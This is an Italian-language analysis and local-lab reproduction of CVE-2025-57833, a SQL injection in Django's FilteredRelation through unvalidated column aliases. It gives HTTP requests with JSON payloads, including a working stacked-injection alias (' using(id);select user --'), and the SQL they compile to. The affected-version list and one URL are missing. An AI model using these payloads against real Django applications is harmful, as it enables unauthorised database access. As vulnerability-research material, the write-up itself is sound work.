
Analisi e riproduzione di CVE-2025-57833
A distanza di un anno, Django ha visto emergere una vulnerabilità SQL injection; a prima vista sembra un'iniezione causata dagli alias (dato che gli alias non possono essere precompilati).
La vulnerabilità interessa la funzionalità FilteredRelation del framework Django: quando si usano i metodi QuerySet.annotate() o QuerySet.alias() e si forniscono alias di colonna tramite l'espansione di dizionario Python (**kwargs), esiste un rischio di SQL injection. Ciò è dovuto alla mancata validazione sufficiente delle chiavi del dizionario (cioè gli alias di colonna), che consente a un attaccante di costruire un dizionario malizioso per iniettare istruzioni SQL senza restrizioni.
Le versioni interessate da questa vulnerabilità sono:
Il progetto di questa vulnerabilità viene costruito utilizzando i Dev Container di VS Code.
1️⃣ Aprire il progetto Aprire con VS Code la directory principale del progetto già esistente (che contiene la cartella .devcontainer).
2️⃣ Riaprire il container (costruzione del Dev Container)
Premere Ctrl+Shift+P (Windows/Linux) o Cmd+Shift+P (Mac)
Digitare Remote-Containers: Reopen in Container
VS Code leggerà la configurazione .devcontainer e costruirà il container (la prima costruzione potrebbe richiedere alcuni minuti)
⚠️ Se il Dockerfile o le dipendenze sono stati aggiornati, si può scegliere Remote-Containers: Rebuild Container per garantire l'uso dell'ambiente più recente.
3️⃣ Avviare il server di sviluppo Django
Aprire il pannello comandi con Ctrl+Shift+P
Digitare Tasks: Run Task
Selezionare django:start (l'attività è già configurata in .vscode/tasks.json)
Questa attività avvia il server di sviluppo Django all'interno del container
In ascolto di default su 0.0.0.0:8085
4️⃣ Aprire il browser e accedere al progetto
Aprire il browser e visitare:
5️⃣ Note
Al primo avvio:
potrebbe essere necessario eseguire la migrazione del database:
python manage.py migrate
Dopo l'avvio del server, visitare http://localhost:8085
Accedere all'endpoint /book/search, visitandolo normalmente
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":"XXX","author":"Bob"}

L'SQL compilato a livello interno dall'ORM di Django in questo caso è:
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author" XXX ON ("vuln_book"."author_id" = XXX."id" AND (XXX."name" = Bob)) WHERE XXX."id" > 0
Si può notare che viene creato un alias XXX per la tabella vuln_author; in base all'analisi della patch sopra citata, attualmente non viene applicato alcun filtro su XXX, quindi è possibile iniettarvi.
Usando direttamente lo stacked injection, poiché la prima istruzione SQL non è valida, la seconda non viene eseguita.
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":"XXX;select user --","author":"Bob"}

Quindi è necessario prima rendere valida la prima istruzione; poiché qui si tratta di una relazione di join, si usa direttamente la sintassi using.
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":" using(id);select user --","author":"Bob"}

A questo punto l'iniezione ha avuto successo: l'utente di esecuzione del database risulta essere postgres. L'istruzione SQL compilata con successo a livello interno è:
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author" using(id);select user -- ON ("vuln_book"."author_id" = using(id);select user --."id" AND ( using(id);select user --."name" = Bob)) WHERE using(id);select user --."id" > 0